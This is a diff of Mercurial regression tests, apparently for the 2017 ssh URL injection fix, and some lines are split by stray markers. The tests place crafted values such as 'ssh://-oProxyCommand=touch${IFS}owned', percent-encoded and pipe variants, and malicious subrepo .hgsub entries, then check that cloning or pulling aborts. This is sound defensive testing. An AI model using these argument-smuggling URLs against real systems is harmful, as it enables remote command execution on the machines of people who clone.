+ running sh -c "read l; read l; read l" -p "&touch owned " example.com "hg -R . serve --stdio"
|
|
|
7d0f2b |
+ sending hello command
|
|
|
7d0f2b |
+ sending between command
|
|
|
7d0f2b |
+ abort: no suitable response from remote hg!
|
|
|
7d0f2b |
+ [255]
|
|
|
7d0f2b |
+#else
|
|
|
7d0f2b |
+ $ hg clone "ssh://%3btouch%20owned%20/" --debug
|
|
|
7d0f2b |
+ running sh -c "read l; read l; read l" ';touch owned ' 'hg -R . serve --stdio'
|
|
|
7d0f2b |
+ sending hello command
|
|
|
7d0f2b |
+ sending between command
|
|
|
7d0f2b |
+ abort: no suitable response from remote hg!
|
|
|
7d0f2b |
+ [255]
|
|
|
7d0f2b |
+ $ hg clone "ssh://example.com:%3btouch%20owned%20/" --debug
|
|
|
7d0f2b |
+ running sh -c "read l; read l; read l" -p ';touch owned ' example.com 'hg -R . serve --stdio'
|
|
|
7d0f2b |
+ sending hello command
|
|
|
7d0f2b |
+ sending between command
|
|
|
7d0f2b |
+ abort: no suitable response from remote hg!
|
|
|
7d0f2b |
+ [255]
|
|
|
7d0f2b |
+#endif
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
+ $ hg clone "ssh://v-alid.example.com/" --debug
|
|
|
7d0f2b |
+ running sh -c "read l; read l; read l" v-alid\.example\.com ['"]hg -R \. serve --stdio['"] (re)
|
|
|
7d0f2b |
+ sending hello command
|
|
|
7d0f2b |
+ sending between command
|
|
|
7d0f2b |
+ abort: no suitable response from remote hg!
|
|
|
7d0f2b |
+ [255]
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
+We should not have created a file named owned - if it exists, the
|
|
|
7d0f2b |
+attack succeeded.
|
|
|
7d0f2b |
+ $ if test -f owned; then echo 'you got owned'; fi
|
|
|
7d0f2b |
diff --git a/tests/test-pull.t b/tests/test-pull.t
|
|
|
7d0f2b |
index 01356a6..c08f0a7 100644
|
|
|
7d0f2b |
--- a/tests/test-pull.t
|
|
|
7d0f2b |
+++ b/tests/test-pull.t
|
|
|
7d0f2b |
@@ -89,4 +89,26 @@ regular shell commands.
|
|
|
7d0f2b |
$ URL=`python -c "import os; print 'file://localhost' + ('/' + os.getcwd().replace(os.sep, '/')).replace('//', '/') + '/../test'"`
|
|
|
7d0f2b |
$ hg pull -q "$URL"
|
|
|
7d0f2b |
|
|
|
7d0f2b |
+SEC: check for unsafe ssh url
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
+ $ cat >> $HGRCPATH << EOF
|
|
|
7d0f2b |
+ > [ui]
|
|
|
7d0f2b |
+ > ssh = sh -c "read l; read l; read l"
|
|
|
7d0f2b |
+ > EOF
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
+ $ hg pull 'ssh://-oProxyCommand=touch${IFS}owned/path'
|
|
|
7d0f2b |
+ abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
|
|
|
7d0f2b |
+ [255]
|
|
|
7d0f2b |
+ $ hg pull 'ssh://%2DoProxyCommand=touch${IFS}owned/path'
|
|
|
7d0f2b |
+ abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
|
|
|
7d0f2b |
+ [255]
|
|
|
7d0f2b |
+ $ hg pull 'ssh://fakehost|touch${IFS}owned/path'
|
|
|
7d0f2b |
+ abort: no suitable response from remote hg!
|
|
|
7d0f2b |
+ [255]
|
|
|
7d0f2b |
+ $ hg pull 'ssh://fakehost%7Ctouch%20owned/path'
|
|
|
7d0f2b |
+ abort: no suitable response from remote hg!
|
|
|
7d0f2b |
+ [255]
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
+ $ [ ! -f owned ] || echo 'you got owned'
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
$ cd ..
|
|
|
7d0f2b |
diff --git a/tests/test-subrepo-git.t b/tests/test-subrepo-git.t
|
|
|
7d0f2b |
index 24cb6a2..70a09ce 100644
|
|
|
7d0f2b |
--- a/tests/test-subrepo-git.t
|
|
|
7d0f2b |
+++ b/tests/test-subrepo-git.t
|
|
|
7d0f2b |
@@ -564,7 +564,7 @@ test for Git CVE-2016-3068
|
|
|
7d0f2b |
$ cd malicious-subrepository
|
|
|
7d0f2b |
$ echo "s = [git]ext::sh -c echo% pwned% >&2" > .hgsub
|
|
|
7d0f2b |
$ git init s
|
|
|
7d0f2b |
- Initialized empty Git repository in $TESTTMP/tc/malicious-subrepository/s/.git/
|
|
|
7d0f2b |
+ Initialized empty Git repository in $TESTTMP/malicious-subrepository/s/.git/
|
|
|
7d0f2b |
$ cd s
|
|
|
7d0f2b |
$ git commit --allow-empty -m 'empty'
|
|
|
7d0f2b |
[master (root-commit) 153f934] empty
|
|
|
7d0f2b |
@@ -573,7 +573,7 @@ test for Git CVE-2016-3068
|
|
|
7d0f2b |
$ hg commit -m "add subrepo"
|
|
|
7d0f2b |
$ cd ..
|
|
|
7d0f2b |
$ env -u GIT_ALLOW_PROTOCOL hg clone malicious-subrepository malicious-subrepository-protected
|
|
|
7d0f2b |
- Cloning into '$TESTTMP/tc/malicious-subrepository-protected/s'...
|
|
|
7d0f2b |
+ Cloning into '$TESTTMP/malicious-subrepository-protected/s'...
|
|
|
7d0f2b |
fatal: transport 'ext' not allowed
|
|
|
7d0f2b |
updating to branch default
|
|
|
7d0f2b |
cloning subrepo s from ext::sh -c echo% pwned% >&2
|
|
|
7d0f2b |
@@ -582,7 +582,6 @@ test for Git CVE-2016-3068
|
|
|
7d0f2b |
|
|
|
7d0f2b |
whitelisting of ext should be respected (that's the git submodule behaviour)
|
|
|
7d0f2b |
$ env GIT_ALLOW_PROTOCOL=ext hg clone malicious-subrepository malicious-subrepository-clone-allowed
|
|
|
7d0f2b |
- Cloning into '$TESTTMP/tc/malicious-subrepository-clone-allowed/s'...
|
|
|
7d0f2b |
pwned
|
|
|
7d0f2b |
fatal: Could not read from remote repository.
|
|
|
7d0f2b |
|
|
|
7d0f2b |
@@ -592,3 +591,35 @@ whitelisting of ext should be respected (that's the git submodule behaviour)
|
|
|
7d0f2b |
cloning subrepo s from ext::sh -c echo% pwned% >&2
|
|
|
7d0f2b |
abort: git clone error 128 in s (in subrepo s)
|
|
|
7d0f2b |
[255]
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
+test for ssh exploit with git subrepos 2017-07-25
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
+ $ hg init malicious-proxycommand
|
|
|
7d0f2b |
+ $ cd malicious-proxycommand
|
|
|
7d0f2b |
+ $ echo 's = [git]ssh://-oProxyCommand=rm${IFS}non-existent/path' > .hgsub
|
|
|
7d0f2b |
+ $ git init s
|
|
|
7d0f2b |
+ Initialized empty Git repository in $TESTTMP/tc/malicious-proxycommand/s/.git/
|
|
|
7d0f2b |
+ $ cd s
|
|
|
7d0f2b |
+ $ git commit --allow-empty -m 'empty'
|
|
|
7d0f2b |
+ [master (root-commit) 153f934] empty
|
|
|
7d0f2b |
+ $ cd ..
|
|
|
7d0f2b |
+ $ hg add .hgsub
|
|
|
7d0f2b |
+ $ hg ci -m 'add subrepo'
|
|
|
7d0f2b |
+ $ cd ..
|
|
|
7d0f2b |
+ $ hg clone malicious-proxycommand malicious-proxycommand-clone
|
|
|
7d0f2b |
+ updating to branch default
|
|
|
7d0f2b |
+ abort: potentially unsafe url: 'ssh://-oProxyCommand=rm${IFS}non-existent/path' (in subrepo s)
|
|
|
7d0f2b |
+ [255]
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
+also check that a percent encoded '-' (%2D) doesn't work
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
+ $ cd malicious-proxycommand
|
|
|
7d0f2b |
+ $ echo 's = [git]ssh://%2DoProxyCommand=rm${IFS}non-existent/path' > .hgsub
|
|
|
7d0f2b |
+ $ hg ci -m 'change url to percent encoded'
|
|
|
7d0f2b |
+ $ cd ..
|
|
|
7d0f2b |
+ $ rm -r malicious-proxycommand-clone
|
|
|
7d0f2b |
+ $ hg clone malicious-proxycommand malicious-proxycommand-clone
|
|
|
7d0f2b |
+ updating to branch default
|
|
|
7d0f2b |
+ abort: potentially unsafe url: 'ssh://-oProxyCommand=rm${IFS}non-existent/path' (in subrepo s)
|
|
|
7d0f2b |
+ [255]
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
diff --git a/tests/test-subrepo-svn.t b/tests/test-subrepo-svn.t
|
|
|
7d0f2b |
index dde08d0..1216808 100644
|
|
|
7d0f2b |
--- a/tests/test-subrepo-svn.t
|
|
|
7d0f2b |
+++ b/tests/test-subrepo-svn.t
|
|
|
7d0f2b |
@@ -623,3 +623,43 @@ well.
|
|
|
7d0f2b |
Checked out revision 15.
|
|
|
7d0f2b |
2 files updated, 0 files merged, 0 files removed, 0 files unresolved
|
|
|
7d0f2b |
$ cd ..
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
+SEC: test for ssh exploit
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
+ $ hg init ssh-vuln
|
|
|
7d0f2b |
+ $ cd ssh-vuln
|
|
|
7d0f2b |
+ $ echo "s = [svn]$SVNREPOURL/src" >> .hgsub
|
|
|
7d0f2b |
+ $ svn co --quiet "$SVNREPOURL"/src s
|
|
|
7d0f2b |
+ $ hg add .hgsub
|
|
|
7d0f2b |
+ $ hg ci -m1
|
|
|
7d0f2b |
+ $ echo "s = [svn]svn+ssh://-oProxyCommand=touch%20owned%20nested" > .hgsub
|
|
|
7d0f2b |
+ $ hg ci -m2
|
|
|
7d0f2b |
+ $ cd ..
|
|
|
7d0f2b |
+ $ hg clone ssh-vuln ssh-vuln-clone
|
|
|
7d0f2b |
+ updating to branch default
|
|
|
7d0f2b |
+ abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned nested' (in subrepo s)
|
|
|
7d0f2b |
+ [255]
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
+also check that a percent encoded '-' (%2D) doesn't work
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
+ $ cd ssh-vuln
|
|
|
7d0f2b |
+ $ echo "s = [svn]svn+ssh://%2DoProxyCommand=touch%20owned%20nested" > .hgsub
|
|
|
7d0f2b |
+ $ hg ci -m3
|
|
|
7d0f2b |
+ $ cd ..
|
|
|
7d0f2b |
+ $ rm -r ssh-vuln-clone
|
|
|
7d0f2b |
+ $ hg clone ssh-vuln ssh-vuln-clone
|
|
|
7d0f2b |
+ updating to branch default
|
|
|
7d0f2b |
+ abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned nested' (in subrepo s)
|
|
|
7d0f2b |
+ [255]
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
+also check that hiding the attack in the username doesn't work:
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
+ $ cd ssh-vuln
|
|
|
7d0f2b |
+ $ echo "s = [svn]svn+ssh://%2DoProxyCommand=touch%20owned%20foo@example.com/nested" > .hgsub
|
|
|
7d0f2b |
+ $ hg ci -m3
|
|
|
7d0f2b |
+ $ cd ..
|
|
|
7d0f2b |
+ $ rm -r ssh-vuln-clone
|
|
|
7d0f2b |
+ $ hg clone ssh-vuln ssh-vuln-clone
|
|
|
7d0f2b |
+ updating to branch default
|
|
|
7d0f2b |
+ abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned foo@example.com/nested' (in subrepo s)
|
|
|
7d0f2b |
+ [255]
|
|
|
7d0f2b |
diff --git a/tests/test-subrepo.t b/tests/test-subrepo.t
|
|
|
7d0f2b |
index c0d017c..d4bde48 100644
|
|
|
7d0f2b |
--- a/tests/test-subrepo.t
|
|
|
7d0f2b |
+++ b/tests/test-subrepo.t
|
|
|
7d0f2b |
@@ -1214,3 +1214,77 @@ Courtesy phases synchronisation to publishing server does not block the push
|
|
|
7d0f2b |
no changes found
|
|
|
7d0f2b |
[1]
|
|
|
7d0f2b |
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
+test for ssh exploit 2017-07-25
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
+ $ cat >> $HGRCPATH << EOF
|
|
|
7d0f2b |
+ > [ui]
|
|
|
7d0f2b |
+ > ssh = sh -c "read l; read l; read l"
|
|
|
7d0f2b |
+ > EOF
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
+ $ hg init malicious-proxycommand
|
|
|
7d0f2b |
+ $ cd malicious-proxycommand
|
|
|
7d0f2b |
+ $ echo 's = [hg]ssh://-oProxyCommand=touch${IFS}owned/path' > .hgsub
|
|
|
7d0f2b |
+ $ hg init s
|
|
|
7d0f2b |
+ $ cd s
|
|
|
7d0f2b |
+ $ echo init > init
|
|
|
7d0f2b |
+ $ hg add
|
|
|
7d0f2b |
+ adding init
|
|
|
7d0f2b |
+ $ hg commit -m init
|
|
|
7d0f2b |
+ $ cd ..
|
|
|
7d0f2b |
+ $ hg add .hgsub
|
|
|
7d0f2b |
+ $ hg ci -m 'add subrepo'
|
|
|
7d0f2b |
+ $ cd ..
|
|
|
7d0f2b |
+ $ hg clone malicious-proxycommand malicious-proxycommand-clone
|
|
|
7d0f2b |
+ updating to branch default
|
|
|
7d0f2b |
+ abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' (in subrepo s)
|
|
|
7d0f2b |
+ [255]
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
+also check that a percent encoded '-' (%2D) doesn't work
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
+ $ cd malicious-proxycommand
|
|
|
7d0f2b |
+ $ echo 's = [hg]ssh://%2DoProxyCommand=touch${IFS}owned/path' > .hgsub
|
|
|
7d0f2b |
+ $ hg ci -m 'change url to percent encoded'
|
|
|
7d0f2b |
+ $ cd ..
|
|
|
7d0f2b |
+ $ rm -r malicious-proxycommand-clone
|
|
|
7d0f2b |
+ $ hg clone malicious-proxycommand malicious-proxycommand-clone
|
|
|
7d0f2b |
+ updating to branch default
|
|
|
7d0f2b |
+ abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' (in subrepo s)
|
|
|
7d0f2b |
+ [255]
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
+also check for a pipe
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
+ $ cd malicious-proxycommand
|
|
|
7d0f2b |
+ $ echo 's = [hg]ssh://fakehost|touch${IFS}owned/path' > .hgsub
|
|
|
7d0f2b |
+ $ hg ci -m 'change url to pipe'
|
|
|
7d0f2b |
+ $ cd ..
|
|
|
7d0f2b |
+ $ rm -r malicious-proxycommand-clone
|
|
|
7d0f2b |
+ $ hg clone malicious-proxycommand malicious-proxycommand-clone
|
|
|
7d0f2b |
+ updating to branch default
|
|
|
7d0f2b |
+ abort: no suitable response from remote hg!
|
|
|
7d0f2b |
+ [255]
|
|
|
7d0f2b |
+ $ [ ! -f owned ] || echo 'you got owned'
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
+also check that a percent encoded '|' (%7C) doesn't work
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
+ $ cd malicious-proxycommand
|
|
|
7d0f2b |
+ $ echo 's = [hg]ssh://fakehost%7Ctouch%20owned/path' > .hgsub
|
|
|
7d0f2b |
+ $ hg ci -m 'change url to percent encoded pipe'
|
|
|
7d0f2b |
+ $ cd ..
|
|
|
7d0f2b |
+ $ rm -r malicious-proxycommand-clone
|
|
|
7d0f2b |
+ $ hg clone malicious-proxycommand malicious-proxycommand-clone
|
|
|
7d0f2b |
+ updating to branch default
|
|
|
7d0f2b |
+ abort: no suitable response from remote hg!
|
|
|
7d0f2b |
+ [255]
|
|
|
7d0f2b |
+ $ [ ! -f owned ] || echo 'you got owned'
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
+and bad usernames:
|
|
|
7d0f2b |
+ $ cd malicious-proxycommand
|
|
|
7d0f2b |
+ $ echo 's = [hg]ssh://-oProxyCommand=touch owned@example.com/path' > .hgsub
|
|
|
7d0f2b |
+ $ hg ci -m 'owned username'
|
|
|
7d0f2b |
+ $ cd ..
|
|
|
7d0f2b |
+ $ rm -r malicious-proxycommand-clone
|
|
|
7d0f2b |
+ $ hg clone malicious-proxycommand malicious-proxycommand-clone
|
|
|
7d0f2b |
+ updating to branch default
|
|
|
7d0f2b |
+ abort: potentially unsafe url: 'ssh://-oProxyCommand=touch owned@example.com/path' (in subrepo s)
|
|
|
7d0f2b |
+ [255]
|